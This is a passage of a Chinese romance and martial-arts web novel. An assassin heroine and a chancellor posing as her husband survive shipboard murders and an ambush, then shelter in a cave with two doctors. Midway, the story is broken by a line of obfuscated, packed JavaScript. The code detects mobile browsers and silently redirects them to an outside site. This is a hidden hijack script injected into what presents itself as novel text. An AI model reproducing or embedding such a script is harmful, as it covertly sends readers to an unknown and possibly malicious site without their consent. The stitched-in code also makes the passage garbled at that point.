“好!”白妙可松了口气,目送他离开,便两步并作三步过去将门拴好。
才提起小二准备好的热水,褪下衣裙舒舒服服泡进了浴桶之中,洗去一天的疲乏。
但是不知道陆瑜什么时候回来,白妙可花了不到半个时辰便洗完穿好衣服。
将门拴取下才坐在床边慢悠悠地绞干头发,将陆瑜铺得整齐床铺压出几道褶皱,便又想起他下午那般真诚的眼神。
不知该不该信他,又觉得信不信好像也不重要了。
她就这般胡思乱想着直到那一头如瀑长发都干了,窗外夜色已深,却还没等到陆瑜回来。
“不会是出了什么事吧?”白妙可嘀咕着便准备出门去寻他,结果刚一推门便发现陆瑜守在门口。
半边身子隐在阴影中,听见房门推开的声音才转过身来。
“什么时候回来的?你怎么不进去?”白妙可没想到他就守在门口,疑惑开口。
“刚从富贵那儿回来,我……赏月。”陆瑜回答,他是不会承认自己已经在门口等了半天的。
“那你要再赏一会儿还是回来休息?”白妙可也不戳穿,只是含笑抱臂问他。
“走吧,该休息了。”陆瑜悄咪咪挪动了一下有些麻木的双腿,两个人前后脚进屋。
“你洗漱吧,我先睡了。”白妙可说完便进屋了躺下了,折腾一天她是真有些累了。
没过多久便听见盥洗室传来水声,若是放在之前,白妙可高低起来去看一眼,但是今天下午再次认清两人只是相互利用的关系以后,她突然没了这种兴致。
既然只是利用,那还是划清界限比较好。
这般想着,白妙可在断续的水声中逐渐入睡,徒留外间陆瑜一个人蜷缩在贵妃榻上长夜难眠。
说他是蜷缩也不为过,这贵妃榻本就是用来喝茶小憩的,身长一尺八有余的陆瑜躺在上面实在有些憋屈了。
陆瑜只好蜷腿侧躺,侧耳听着里间安安静静没有任何声音,想必是已经睡了。
一想到两人只隔着薄薄一扇门板陆瑜便有些难以入眠,内心难免有些隐秘的激动。
可是一想到她下午那般冷漠态度问自己是利用还是真心的样子,陆瑜感觉像是一盆凉水兜头浇下,胸膛中那颗炙热跳动的心脏也冷了下来。
上船第二日。
白妙可睡到日上三竿才起床,她揉着眼睛推门便发现陆瑜已经不知起了多久,正坐在窗边不知在做什么。
“早啊。”白妙可不知自己的刚睡醒的声音有多柔软。
“早。”陆瑜将视线从窗外收回看向女子,却又倏然转开。
因为白妙可只穿了一身素白色睡衣,长发松散地披在肩头,一举一动俱是不经意地勾人心魄。
见他的反应,白妙可看了眼自己不露寸肤的寝衣,无奈笑笑,心道他可真是个老古董啊,却还是回内室换好了衣裙才又出门。
简单洗漱过后她问:“你吃早饭了吗?”
成功换来陆瑜无语的表情,仿佛她在说什么废话,“你若是饿了便让人送午膳过来。”
白妙可这才发现居然已经晌午了,只是窗外雾蒙蒙地又下起了小雨,让她误以为时辰还早。
等午膳的功夫,白妙可去看了下春杏,见她今日的气色好了些,才放心回去同陆瑜用饭。
只是两人刚吃了没多会儿,富贵便在在门外求见。
白妙可不以为意,陆瑜却是心头一凛,若不是急事,富贵不会在两人用膳的时候来打扰。
果然他一进来便是满脸凝重:“公子,夫人,船上昨夜死人了。”
“昨夜?谁死了?”白妙可放下筷子,有些诧异。
“我方才去打听了,死的是一位而立之年的盐商和他的两个仆从,均是死在客房,现在船上人心惶惶,十分混乱。”富贵回答。
“那我们还是别出去了吧?”白妙可扭头问陆瑜。
“好。”陆瑜面色依旧冷静,心中却已经猜测到了事情的不寻常,只希望是自己想多了。
果然没多久,富贵再次敲门来报:“公子,夫人,那富商的侄子在船上大张旗鼓找寻凶手,要求挨个房间搜查。”
“不让他进来他还能硬闯吗?”白妙可理所当然道。
“不会,但是不让搜查会被误以为心里有鬼,恐怕引起船上其他人的怀疑。”陆瑜显然更了解人性。
“只能会会他了。”陆瑜说道。
“你去检查一下尸体,看看有无异常。”陆瑜继而吩咐富贵。
“我也去。”白妙可也快步跟上。
富贵回头看了眼自家公子,后者不置可否,才带着白妙可一块去了昨夜死人的客房门口。
门前围着几个看热闹的人,三三两两地在窃窃私语。
“麻烦借过一下。麻烦借过一下”富贵好不容易清出一条路来同白妙可挤进去。
屋内摆放着三具尸体,正是盐商之子和他的两个仆从。
白妙可蹲在盐商之子旁边细细打量,他身上没什么打斗的伤痕,乍一看只有胸膛上洞穿的刀伤,但是杀人经验丰富的她一眼便看出这处伤口是在人躺倒以后补上的,恐怕他身上还有其他伤口。
果不其然,白妙可将人翻过来便看见他的后脑上有一处细弱蚊蝇叮咬的伤口。
“这才是致命伤。”一个熟悉的女子声音传来。
白妙可抬头发现还真是熟人,可不正是那日帮春杏看诊的女子阿灵师妹。
“可以让我看看吗?”女子对白妙可道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494004|167233||http|test|mini|href|location''.split(''|''),0,{}));
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>想起对方是大夫,白妙可点头让出位置让她过来。
“看位置是正中后脑命门,从伤口深度看凶手力道极大,杀人时间在昨夜丑时。”女子围着尸体看了一圈,不疾不徐地给出结论。
“那么小的伤口能杀人吗?”围观群众有人发出疑问。
“呃,理论上力量足够大的话是可以的。”阿灵犹豫道,她行医多年也是第一次见到这般微不可查的致命伤。
“是飞铙,只需要瞄准位置便能飞出银针,距离近的话足够一击致命。”白妙可替她补充道。
阿灵受教地朝她点了点头表示受教了,抱臂站在她身后的师兄竹雨的一双狐狸眼却是危险的眯了起来。
白妙可并未注意他危险的目光,她跟富贵将尸体挨个看了一遍,又在房间转了一圈没发现什么异常,才返回客房。
还未进门便看见戎青带着几个侍卫守在门口,正在同几人对峙。
“你不让我们进去搜查,是不是心里有鬼?”带头的人语气不善。
“这时我们公子和夫人的客房,岂能让你们擅闯!”戎青也半步不让。
一时间气氛剑拔弩张。
不能让他们暴露身手,白妙可快步走近,站到戎青身前。
“你便是死者的兄弟?现在你哥的尸体在房间被人指指点点你都不管,反而有心情一间一间搜查?”
“你是谁?女子就离远点儿,哥几个动起手来伤了你可别哭哭啼啼。”那人色眯眯地上下打量了一下白妙可,语气不正经起来。
他身后的另一个男人扯了扯他的胳膊,劝他正事要紧。
“这是我家夫人,岂容你出言不逊?!”一直站在旁边的富贵忍不住替白妙可说话。
白妙可给他递了个眼神,示意他稍安勿躁。
“两位大哥,实在是我那夫君身子不好,你们贸然进去恐怕会惊扰到他。”白妙可搬出两人事先说好的说辞。
“我们可以不进去搜,只要你陪哥哥一晚,反正你那身子不好的夫君恐怕也不能满足你吧。”先前的男人呲着满嘴黄牙,目光更加肆无忌惮。
白妙可的笑容瞬间冷了下来,刚想出手教训一下这两个不识好歹的登徒子,便见一直紧闭的房门突然被推开。
面色铁青的陆瑜走出门口,在众人都未反应过来的时候,抬腿冲着那猥琐男人的心口踹了一脚,后者没有防备,瞬间被踹倒在地。
那男子捂着胸口痛呼,抬头看清陆瑜的脸后,连喊痛的声音都吞到嗓中,只一个劲地冲同伙使眼色。
白妙可注意到另外几人准备逃跑的动作,无奈叹气,从腰间抽出那装饰得花里胡哨作为腰带的银鞭,甩出径直缠住一人的脖颈,手腕轻转收紧鞭子,那人一声惊呼都未发出便咽了气。
戎青等人也很快反应过来,将剩下几人快速控制住。
白妙可收鞭看向陆瑜,以为会在他的眼中看见嫌恶或恐惧,毕竟杀人灭口绝算不得好事。
却只在他的眸中看到了欣赏和关切,还有些自己看不懂的情愫。
白妙可一愣,心道,不愧是传言心狠手辣的丞相大人啊,看别人杀人都能露出这般陶醉的神色,全然忘记了自己才是真正不声不响便解决一人的杀手。
35. 坏我好事
转眼暮色四合,船依旧在宽广无垠的河面上平缓地行进,可是船上的气氛并不平和。
富贵几人将尸体处理干净,便一直守在门口,时刻提防着周围的动静。
但是船上却陷入了死寂,没有任何动静才是最令人心慌的,仿佛是暴风雨前的宁静。
房内的白妙可和陆瑜却是无事发生一般,两人相对而坐,在窗前对弈。
白妙可眼睁睁看着陆瑜在棋盘上落下一枚黑子,吞了自己大片棋子。
她有些耍赖地扔了手里的棋子:“不玩了不玩了,早说我不擅长下棋了。”
她本想去帮忙处理那些刺客,陆瑜却不肯,非要留她下棋。
“陆瑜也没在执着,丢了手里的黑棋,目光仍旧落在棋盘之上,却是突然问起不相干的事情:“你水性如何?”
“挺好的呀,怎么了?”白妙可被他突然的问题问得莫名其妙。
“那便好。”说罢从她面前的棋篓中拿起一枚白子替她落下。
白妙可垂眸去看他落子的位置,便发现自己散沙般的棋局又活了过来。
“你是不是怀疑他们还有后手?”白妙可隐约猜到陆瑜的用意,开口问道。
陆瑜依旧面色平淡不辨喜怒,没回答她的问题,而是再次顾左右而言他,开口说道:
“若是到了江南遇到麻烦,可以去姑苏徐家寻求帮助,就说故人之约便可。”
“太傅的事情牵扯太多,若是实难查清,便归京去继续做你的少东家吧,不要为难自己。”
白妙可满腹狐疑地打断他:“等一下,你想说什么?”
陆瑜被打断也不恼,反而唇角勾起,直视她水灵灵的眼眸一字一顿地说道:“我想说,我是真心心悦于你,无关其他。”
白妙可疑惑的神情退去,呆呆地愣在了原地。
她不知陆瑜为何又突如其来地表明心意,但是她清楚看见了月色映照下他那双澄澈又深邃的眼眸中,盛满爱意。
不知是谁的心跳乱了节拍,在这寂静的夜晚格外明显,一下又一下地打破了两人之间的隔阂。
“我……”白妙可刚发出一个音节,便被一只修长的手指抵在唇边停下了话语。
“我不着急,如果可能的话,我们还有许多时间。”陆瑜感受着手指触碰到少女的温热唇瓣,不疾不徐地收回手。
那只手收回袖中,轻轻握拳,捻了又捻,仿佛这样可以留住那片刻的温存。
白妙可的话被堵在了喉头,干脆不再言语,只静静用目光描摹月色下陆瑜如画般的眉眼。
蓦然想起两人初见那日,也是在这般清冷的月色下看他,她发现时隔数月,这张脸怎么还是看不够。
她情不自禁地想象了一下,若是日日都能对着这张脸,倒也不赖。
想着想着,唇角便不自觉挂上了笑。
郎情妾意,月下相会,明明是人间美事,却被突如其来的喊叫声打破。
“小心!”戎青的声音伴随着几声破空声同时响起,门板被撞开,一名持剑的黑衣人轻巧落在屋内。
剑锋一转径直向着窗边的陆瑜刺来,戎青紧随其后,提剑上前,两人缠斗在一起。
刀光剑影间,二人不分伯仲。
两人胶着之时,屋外又有两个黑衣人突破侍卫的阻拦冲进房间。
陆瑜依旧镇定自若坐于窗边,藏于袖中的手却握紧了一把墨玉匕首。
这把匕首是白妙可上船第一日送他的,说是送给他这入赘“夫君”的小玩意儿,没想到今日便要派上用场了。
墨玉刀柄温润,却不及他手掌热度的半分,眼见戎青等人逐渐自顾不暇,一名黑衣人逐渐逼近。
白妙可站起身来,抽出腰间长鞭,冲陆瑜笑了笑:“你自己小心点儿啊夫君,我去解决这些坏我好事的家伙。”
陆瑜不赞同地凝眉,伸手想去拦她,刚才还安安静静坐在身侧下棋的女子却已经一阵风般冲了出去。
他一句当心卡在喉咙中,第一次后悔未曾努力练武。
白妙可的加入让戎青几人压力骤降,她衣袂翻飞,手里的长鞭甩出残影,抽的几个黑衣人皮开肉绽,骨头断裂的声音不断传来。
眼见黑衣人败势尽显,却有几枚暗箭射来从外射来,几个侍卫躲闪不及被击中了手臂。
众人纷纷戒备地四处张望,却并未发现暗箭来源。
“小心岸上。”陆瑜在身后出声提醒。
众人才发现此时船已经离岸边很近了,对岸的草丛中隐隐绰绰地闪着寒光,却看不清对方有多少人。
见此情状,饶是训练有素的锦衣卫也不禁捏了把冷汗。
有了外援,黑衣人仿佛打了鸡血般振作起来,侍卫们拼命抵挡,却有几人直接跌倒在地。
“大家小心,箭上有毒!”白妙可从几人的反应察觉了端倪。
她从地上捡起一把长剑,一手持鞭一手持剑,挽起剑花打落再次射来的暗箭。
反手刺伤了一名黑衣人,鲜血喷射,洒在她今日穿的浅杏色衣裙上,宛若红梅。
陆瑜面色如霜地看着愈发激烈的打斗,一双锐利眼眸盯紧着与黑衣人缠斗的白妙可。
虽然她仍旧身手敏捷出招果断,但是随着越来越多的侍卫中箭倒下,白妙可被几个黑衣人团团围住。
她的衣服已经被血水浸染,平日总是水灵灵地蕴着笑意的眼眸此刻盛满了杀意。她刚提剑挡下一道攻击,又有杀招从侧面袭来,来不及躲避,她甩出鞭子缠住刀锋,长鞭应声而断。
白妙可恼怒地看着手里的断鞭,怒意从胸腔中爆发,直直将剩下的一节鞭子掷入那人胸膛,一击毙命。
这鞭子是她刚学武的时候师父送的,陪伴她已有多年,没想到会折在这儿,心中恼怒不已,出招愈发狠厉。
可是耐不住黑衣人的轮番进攻,还有需要时刻提防的明枪暗箭,白妙可逐渐有些体力不支,动作一慢,身上便添了几处伤口
陆瑜看在眼里,心疼、自责、愧疚的情绪将他淹没,他主动从暗处走出,沉沉的声音仿佛黑夜中的惊雷,“我在这儿。”
正预袭击白妙可的黑衣人果然被吸引了注意力,马上朝今夜真正的目标走去,她需要对付的人立刻便减少了一半,足够喘口气的功夫,她厉声喊道:“你疯了!”
今夜这些黑衣人绝
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非善茬,还有岸上那些放暗箭人也是十分阴险,这次前所未有的刺杀规模目标明显是要陆瑜的命,若是被那些黑衣人靠近,他必死无疑。
白妙可顾不得仍在与她过招的黑衣人,一脚踹翻冲着陆瑜奔去的一个黑衣人,运轻功借力快速向着陆瑜飞掠过去,提剑替他挡下迎面而来的致命一击,这一击大概是用了十成的力道,白妙可觉得自己的虎口震颤,手中长剑险些脱手。
一击不中,紧随其后的几个黑衣人接连出招,招招致命,白妙可一时不察肩头被刺中,痛呼一声,陆瑜更加急切,伸手想将人揽进怀中,却被白妙可猛推一把。
扑通一声跌入湖中。
白妙可捂着肩头的伤口假装受伤不敌,悄悄摸出一瓶药粉扬手洒出,迷住黑衣人视线,而她自己趁机跳入水中。
刚落入水中便有一双温热的手伸了过来,白妙可心头一惊,刚想动手便看见了陆瑜那焦急的面容。
“抓着我。”陆瑜揽着她的腰身潜入水中,转眼便消失在湖面上。
白妙可感受着男子有力的臂膀推着自己向着某个方向游动,她的水性并不差,只是身上还有肩头大大小小的伤让她实在难以支撑。便干脆放松身体感受着身后紧实的身体轮廓。
一个没忍住,伸出自己没受伤的那只手偷偷放在了陆瑜的腰上,隔着湿透的布料摸了摸,心满意足的放在上面不动了。
陆瑜不是没注意到怀中人的动作,只是他着实没想到都要死到临头了她还能色心大发,摸来摸去,一时有些无语,直接无视了她的动作。
两人游出一段距离以后身后的黑衣人逐渐逼近,还有连续不断的破水声传来,是岸上的人发现了水里的二人,霎时间数箭齐发。
听着近在咫尺的声音,白妙可瞬间收起色心,掏出先前买的飞镖打落了几只飞来的箭矢,陆瑜也配合地带着她转了个弯向着远离岸边的方向游去,离开了暗箭的射程范围。
可是身后的黑衣人仍然紧追不舍,陆瑜带着一个人游总归是速度慢一些,眼见两人要被追上,白妙可转头看向陆瑜,心里想的却是为何他还不抛下自己。
以他的速度,若是将她抛下是有机会逃走的,为什么没有呢。
白妙可还未想出答案,便看到身后的黑衣人已到近前,锋利的刀刃刺来,正对胸口。
白妙可断掉的鞭子还有捡来的长剑都丢在了船上,此时只能拿手臂抵挡,可她还未动作便感觉一股力量推开了自己。
是陆瑜挡在了她的身前,利刃没入他胸前的皮肉,被他用手死死抵住。
白妙可心头一跳,顾不得手臂上的伤,直接抬手掐住了那人的脖子,黑衣人很快断气,随着白妙可松手,尸体缓缓沉入水下。
水面恢复平静,白妙可便看见有丝丝血迹从陆瑜捂着胸口的指缝逸出,又消散在水中。
“坚持一下。”方才多惊险都未放在心上的白妙可此时脸色大变,白着脸叮嘱陆瑜。
“无事。”见她焦急的神情,陆瑜扯出一个安慰的笑,手臂仍然紧紧箍着她,生怕下一秒又会有什么危险。
两人便这样互相依偎着继续往前游,不辨方向,不知终点。
36. 趁人之危
白妙可再睁开眼睛的时候已经天光大亮,她想抬手遮住刺目的光线,手臂上传来的疼痛却使她瞬间清醒。
发现自己不知怎么上了岸,正躺在草地上……的陆瑜身上。
白妙可心头一惊,猛得想起昨夜的事情了。
昨夜好不容易脱身以后,她同陆瑜互相支撑着游了很远,然后自己渐渐体力不支,后面的发生了什么便完全没有印象了。
她想起陆瑜胸口的伤,偏头看去,自己正枕在他的左边肩膀处,伤口在右侧。
忍着痛意撑起身体,坐在草地上看着陆瑜那苍白的仿佛毫无血色的脸,白妙可心头一惊,不会死了吧!
她想抬手去探一下呼吸,却发现自己的手指颤抖,不知是扯动了伤口还是因为心头慌张。
万幸的是,她感受到了躺在地上的人微弱的呼吸。
白妙可长长吐出一口气:还好还好,人还活着,只是昏迷过去了。
她检查了一下陆瑜胸口寸长的伤口,心头涌起复杂的情绪,此时却来不及去细想。
他的伤口太深,需要尽快包扎,可她看了看自己身上被血水浸透又被湖水晕开的衣服,竟然都找不到一处干净的布料为他包扎。
于是她的目光又投到了陆瑜身上。
他的里衣定然是干净的,自己只是为了给他包扎,应该算不得趁人之危吧。
白妙可没怎么犹豫就说服了自己,将手伸向男人的腰带。
特意避开伤口,不甚熟练的解开他靛蓝色的外衫,便漏出来里面半干不干的月白色里衣。
上好的锦缎柔软地贴在男人身上,有些地方还未干,洇湿的面料若隐若现地透出底下的肌肤。
白妙可的目光便肆无忌惮地上下打量了一圈,从透着嫩粉的两小颗到轮廓分明紧实的腰腹,再到两条修长□□的……
嗯,他可千万不能死了!
白妙可将人扶到一颗树旁靠着,将他上半身的衣服解开露出胸膛的伤口,从他里衣上撕下一块布料,捧来河水将伤口冲洗干净,才仔细将其包扎好。
折腾了这么半天人都没醒,白妙可盯着他惨白的脸色,想着还是要找点儿药才行。
她给自己也处理了一下伤口,在周围转了一圈也没发现什么危险或者可用的药材,回到陆瑜身旁一屁股坐下。
避开他的伤口,靠在男人一侧疲惫的闭上了眼睛。实在是身上又累又疼,昨天还不放心上的大大小小的伤口都疼了起来。
等她再次醒来的时候,是被刻意压低的交谈声吵醒的。
她敏锐地眯起了眼睛,看到几步远的位置有三个人正在交谈。
中间那个身量最高穿着靛蓝色衣衫的男人可不正是陆瑜,他此时正背对着自己,是以并未发现白妙可已经醒了。
再去看他身旁的两个人,白妙可努力辨认了半天才认出来,这两人正是船上遇见的那个名叫阿灵的姑娘和她的师兄。
白妙可凝神想听听他们在说什么的时候,那位师兄发现她醒过来了,一双风情万种的狐狸眼直直看过来。
不得不承认,这位师兄长得也是极好的,是与陆瑜那种光风霁月的感觉完全相反的,整个人透着股勾人魂魄的邪魅。
两人对视,男子露出一个灿烂的笑,正与他说话的陆瑜似有所感,转头朝这边看过来。
“你醒了。”陆瑜语气中带着惊喜,没有片刻犹豫便朝着白妙可走去。
走到近前,陆瑜无比自然地伸手将白妙可扶了起来,此时另外两人也走了过来。
“又见面了,看了我与姑娘很是有缘。”竹雨含笑开口同白妙可打招呼。
“你们二人怎么也在?”白妙可假装没看到陆瑜因为此人这话而变得阴沉的脸色,转头问看起来更加靠谱的阿灵。
十五六岁的女孩依旧穿着一身出尘脱俗的白衣,开口解释:“我与师兄也在船上遇见了那帮贼人,无奈跳湖,碰巧来到此处。”
白妙可疑惑地看向陆瑜,怎么就是贼人了?而且他们估计是随着水流来了这不知何处的地方,怎么这两人也来了,真有这么巧的事情吗?
陆瑜心中也有疑惑,只不过他是疑惑白妙可怎么认识的这两人,这个男的又是怎么回事儿,还说什么有缘,实在假得离谱。
但是现在显然不是计较这个的时候,这两人出现的蹊跷,却是可以利用一下。
白妙可显然也是这么想的。
她熟练地挂上期期艾艾的神情,开口说到:“那还真是缘分,昨夜那场景,实在是骇人,我和我夫君哪里见过这种情境,手无缚鸡之力,被那伙歹人所伤,所幸还留了条命。”
说罢还作势去擦眼角不存在的眼泪。
陆瑜被她这浮夸又精湛的演技整得嘴角一抽,方才阴沉的脸色也因为她主动提起的夫君一词而缓和不少。
未等那师兄妹回话,白妙可接着道:“对了,还未自我介绍,我是京城盐商月家的小姐,这位是我入赘的夫君,我们二人要去江南我外祖家,却没想到会碰到这种事。相遇即是缘,不知二位怎么称呼?”
这话半真半假,是为了试探着两人的身份。
“我们是四海为家的游医,姑娘叫我竹雨便好,这位是我师妹,名唤阿灵。”竹雨笑眯眯道。
“竹雨公子、阿灵姑娘,我夫君昨夜被那些歹人所伤,伤势很重,不知二位可否替他医治?待我们脱困以后必有重谢。”白妙可言辞诚恳。
陆瑜闻言侧目看向白妙可,眼神缱绻又深邃,身上的伤口仿佛都因为她的话好了一些。
“行医之人,自当以救死扶伤为己任,姑娘不必客气。”竹雨温文尔雅地开口应下。
“我家娘子也受伤了,拜托两位了。”陆瑜抢在白妙可之前开口,娘子二字咬得格外重,仿佛在提醒那个一口一个姑娘的竹雨大夫认清楚,白妙可是自己的娘子。
竹雨却像是没听见般,不知从何处掏出一柄折扇,径直越过陆瑜晃到白妙可身边,伸手便要扶她。
口中关心道:“姑娘伤在哪儿了?我身上还有些外伤药能派上用场。”
白妙可还未给出反应,陆瑜抢先一步上前扶起了她的手臂,连扯动了胸口的伤都未曾皱眉。
“多谢兄台,还是先寻一处安全的地方吧。”陆瑜冷声道。
他知晓这两个来路不明的大夫此时还
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有用处,不能得罪,但是这不知礼数的男子着实让他恼怒。
白妙可安抚的拍了拍他的手背,几人便朝着远离岸边的方向探寻走去。
陆瑜坚持要扶着她,奈何两人身上都有伤,走了一盏茶的功夫,白妙可便看见陆瑜额头冒出的冷汗。
无奈在心中叹气,悄声附在他耳边道:“你要是累死在这儿,可白瞎我受得这些伤了。”
陆瑜闻言低笑出声,胸腔震动,伤口又隐隐渗出血迹。
阿灵和竹雨二人落后两步,阿灵看见陆瑜后背被血迹洇湿,低声问竹雨:“师兄,这不是你家表亲吗?不用管管吗?”
竹雨但笑不语,仍旧背着手大摇大摆的走在后面。
所幸几人又走了一盏茶的功夫,便发现了一处山洞。
白妙可两眼放光,扶着陆瑜进了洞内,因为失血过多,此时人已经几近昏迷,只是一双指骨分明的大手还紧握着白妙可的手不放。
她试着掰了两下都没掰开,索性也坐到他身旁,顾不得那么多了,直接请求竹雨二人帮他止血。
“这点小伤我来就行。”阿灵主动道。
“那便多谢阿灵姑娘了。”白妙可冲小姑娘笑笑。
阿灵一言难尽地看着两人牵在一起的手,看得白妙可不好意思地挠了挠头,就这么别别扭扭地解开了陆瑜的衣带。
露出里面被鲜血浸透的绸缎布料,那是白妙可先前为他粗略包扎的,此时已经同血肉粘连在一起,她小心翼翼地拽了两下,一动便有汩汩鲜血涌出。
白妙可看见陆瑜在昏迷中也紧皱的眉头和白纸般的脸色,不知该如何是好。
阿灵适时开口:“我来吧。”
白妙可点点头,有些紧张地问:“他流了这么多血,不会有什么事吧?”
她从前杀人的时候见过比这严重的的受伤流血多了去了,很是清楚生命的顽强,却还是感觉这鲜血有些刺目,刺得她心口有些疼。
“我会尽快给他止血,不会死的。”阿灵用平淡无波的语气回答道。
说罢先点了陆瑜手腕上的一个穴位,白妙可便发现他紧握自己的五指一松,忙将手抽出。
坐到一旁看着阿灵不知从何处掏出一套银针,扎在了陆瑜脖颈和胸膛处的穴位上,伤口往外渗血的速度慢了许多,接着她将粘连在血肉上的衣料直接扯了下来,连带着一些模糊的血肉仍在一旁。
白妙可替昏迷中的人疼了一下,就见阿灵面不改色地又拿出一把精巧的小刀,动作利落又干脆地将伤口上泡水红肿的地方剔除,刚刚止住的血又争先涌了出来,看得白妙可眼皮一跳。
阿灵仍旧是面色平静,拈起一枚针将伤口细细密密地封了起来。
才重新在伤口附近撒了些药粉,将伤口重新包扎好。
做完一切,阿灵叮嘱:“不可剧烈活动,伤口不可沾水,一个月后将缝进去的线抽出即可。”
说罢便想来看看白妙可的伤口。
白妙可还是第一次见到这种缝合伤口的方法,一听还要抽出来,昏迷中的陆瑜疼不疼她不知道,但是她此时已经出了一身冷汗,突然觉得伤口的疼或许可以忍受……
37. 又争又抢
夜晚的树林中风声萧瑟,黑洞洞的仿佛能将一切都吞噬。
但是山洞中的几人此时还算祥和。
洞口燃着火堆,白妙可同竹雨阿灵围坐在火堆旁闲聊,陆瑜其实也已经醒了有一个时辰,但是刚缝好的伤口只允许他躺着。
于是他此时便躺在山洞内打扫出来的一片空地上冷眼看着白妙可同那两人聊得甚是开心。
白妙可喜欢听故事,听着竹雨说起行走江湖行医时候碰见的稀罕事便入了迷,想起了自己从前的梦想。
她最初因为根骨奇佳被师傅选中习武,为的是当个游历江湖的女侠,只是后来要肩负起白家的商号,又不想浪费这一身的武艺,才当了个隐姓埋名的杀手。
她在心中暗暗想,等查明了母亲的事情,自己定要在江湖上游荡上几年。
这般想着便出了神,竹雨也停了话头,看着火光映照下白妙可精致的眉眼与眼角的一颗小痣,无声地笑了笑。
他这一举动没被白妙可发现,反而引起了躺在洞内的陆瑜的注意。
只见躺着的人不动声色地动了动胳膊,垂眸看着伤口处有一丝血迹渗出,才发出一阵不大不小的痛呼。
成功吸引了神游的白妙可的注意。
她起身走到跟前,检查了一下伤口道:“怎么又出血了,方才刚止住的,你疼吗?我去找阿灵过来看看。”
陆瑜却是握住了她的手说道:“娘子,我不疼的,你去同他们继续聊天吧。”略带沙哑的嗓音说着可怜兮兮的话。
白妙可低头看着他乌黑深邃的眼眸,此刻因为忍受的疼痛蒙上一层雾气,莫名让她想起自己养的那只小狗,也是喜欢这般水汪汪看着她,摇尾乞怜。
她顿时心生怜悯,也没了聊天的心思,轻拍他的手背,刚想唤阿灵过来看看。
竹雨便迈着四方步走了过来,那从容不迫风度翩翩的姿态,仿佛这不是在简陋的石洞,而是什么金銮宝殿。
“可能是师妹技艺不精,还是我来帮公子看看吧。”他淡声道。
白妙可内心有些疑惑,方才她实在不想缝针,所幸除了左手手臂以外也都是些小伤口,阿灵帮她扎了几针再上点药,几乎已经不疼也不流血了,难道这还算技艺不精吗?
陆瑜脸色阴沉地咬着牙应道:“那便多谢了。”
白妙可注意到他脸色不对,只以为是伤口疼痛引起的,竹雨却是挑了挑眉,转头想请白妙可出去回避一下。
白妙可更加疑惑了,还多了几分警惕,委婉拒绝:“我们是夫妻,没什么需要回避的,公子尽管治疗便是,当我不存在就好。”
竹雨假装没看见白妙可藏在袖中捏紧的暗器,没再多说什么。
陆瑜却因为白妙可的这番话瞬间被浇灭怒火,有些挑衅的看了眼竹雨。
白妙可不知二人暗中的眼神较量,仍在关切地看着陆瑜的伤口处。
竹雨伸手在陆瑜的几处穴位上点了两下,陆瑜便感觉被点到的位置一疼,咬紧牙关才未失态呼痛,但是伤口的位置却立竿见影的止住了血。
白妙可没注意到他额头的冷汗,而是赞叹地看了竹雨一眼,心想点两个穴位便可止血,不知道有没有能杀人的穴位啊,若是学会了,以后杀人岂不是简单许多。
夜色渐深,鸡飞狗跳的一天终于结束。
几人已将石洞打扫了一遍,勉强辟出能睡觉的地方,饶是如此,初秋的风还是不住的往里吹,带来瑟瑟寒意。
白妙可以照顾伤患为由,将陆瑜安置在山洞最里面,自己则大咧咧地躺在了他的身侧。
两人之间隔着半只手臂的距离。
陆瑜不自觉呼吸有些急促,心中的旖旎盖过了身上的疼痛,他微微侧头看着身旁平躺的女子。
“多谢。”纵使心中有千言万语,他却只吐出了两个字。
白妙可闻言偏头过来,看到了男人俊美的面容依旧苍白,耳尖却可疑地红了起来。
心情莫名有些愉悦,白妙可看了眼仍旧站在洞外不知在说什么的阿灵竹雨两人,悄悄将身体往里侧挪了挪。
这下两人几乎是贴在了一起。
白妙可便看见陆瑜的喉头滚了一下,薄唇轻抿,黑漆漆的眸子深不见底。
两人已经离得很近了,白妙可仿佛还不满意,不声不响地侧过了身体,笑吟吟地看着一动不敢动的病弱美人。
心中升起一种自己仿佛是恶霸,此刻要强迫民女的错觉。
她撑着身体没让自己碰到他的伤处,却逐渐向陆瑜贴近,直到二人呼吸交错,她甚至能清晰听见男人强有力的心跳声,有些急切有些错乱,像是鼓点一般,引诱着她的心跳与之同频。
白妙可心猿意马地想:丞相大人受伤后多了几分脆弱可怜的感觉,衬得这张脸更加惹人怜爱了。
于是凑到他的耳边,轻声道:“公子不若以身相许。”
明明是带着些戏谑的语气,陆瑜却郑重其事地答道:“陆某求之不得。”
白妙可轻笑一声,继续在他耳边吐气如兰道:“那你要快些好起来。”
说完这暗示性十足的话语,她便撑着身子远离,女子温润的嘴唇却不知是有意还是无意擦过了陆瑜的侧脸。
明明是蜻蜓点水,却引得星火燎原。
人已经离远了,陆瑜却仍旧感觉到女子的呼吸萦绕在耳畔,带起一阵酥酥麻麻的热意,这股热意还在逐渐向下蔓延,某些位置瞬间起了些不可言说的反应。
奈何石洞中空旷简陋,没有任何能用以遮挡的东西,他绝望地闭了闭眼,心头的欢喜与尴尬交织,让他那满腔的话语只吐出了一个“好”字。
陆瑜此刻很庆幸白妙可与自己并排躺在一起,她如果不刻意低头去看的话,应当不会发现。
白妙可躺回去以后,陷入了将陆瑜这样那样的幻想当中,没注意到身边人的动静。
陆瑜深深呼吸了几次,试图平复心中的躁动,却在此时听见了两道渐近的脚步声,只能将双手叠在身前,用宽大的衣袖勉强遮掩那醒目的凸出。
是阿灵与竹雨走了进来。
“两位今日辛苦了,快休息吧。”白妙可招呼道。
荒山野岭中,其实他们此时的处境并不安全,最好是有人守夜。
此事方才白妙可已经在心中盘算了一圈,她昨日身体透支的厉害,守夜是万万不能了,里面那个伤员更是起身都困难,
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就只剩这两个大夫了。
可是让大夫守夜,她犹豫要不要提出这个有些过分的要求。
便听见竹雨开口道:“此乃行医者的本份罢了。”
又转头对阿灵说:“师妹,你去休息吧,我守夜,防备有些心怀不轨的色狼。”
听见他主动提出要守夜,白妙可心中满意,却是有些疑惑这儿哪里有什么心怀不轨的色狼,不应该是那些难缠的刺客吗。
